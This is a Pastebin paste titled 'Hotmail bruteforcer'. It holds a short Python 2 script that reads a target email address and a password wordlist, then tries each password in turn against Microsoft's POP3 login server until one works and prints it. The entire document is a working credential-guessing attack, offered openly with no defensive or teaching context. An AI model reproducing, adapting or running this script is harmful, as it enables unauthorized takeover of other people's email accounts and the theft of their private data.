igogiko

Hotmail bruteforcer

Apr 12th, 2012
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.83 KB | None | 0 0
  1. import poplib
  2.  
  3. def connectHotmail(user, pasw):
  4.     connect = poplib.POP3_SSL("pop3.live.com", 995)
  5.  
  6.     try:
  7.         connect.user(user)
  8.         connect.pass_(pasw)
  9.         return True
  10.     except:
  11.         return False
  12.  
  13. while True:
  14.     email = raw_input("Email: ")
  15.  
  16.     while True:
  17.         try:
  18.             fname = raw_input("Wordlist: ")
  19.             wordlist = open(fname, "r").read().split("\n")
  20.             break
  21.         except:
  22.             print "Invalid file\n"
  23.  
  24.     while True:
  25.         sel = raw_input("\nIs this correct? (y/n)")
  26.         sel = sel.lower()
  27.        
  28.         if sel == "y" or sel == "n":
  29.             break
  30.         else:
  31.             print "Invalid selection\n"
  32.  
  33.     if sel == "y":
  34.         for pasw in wordlist:
  35.  
  36.             print "%s : %s" % (email, pasw),
  37.             if(connectHotmail(email, pasw)):
  38.                 print "\n\nSuccess! (%s : %s)\n" % (email, pasw)
  39.                 break
  40.             else:
  41.                 print "%sNot working..." % (" " * (60 - len("%s : %s" % (email, pasw))))
Advertisement
Add Comment
Please, Sign In to add comment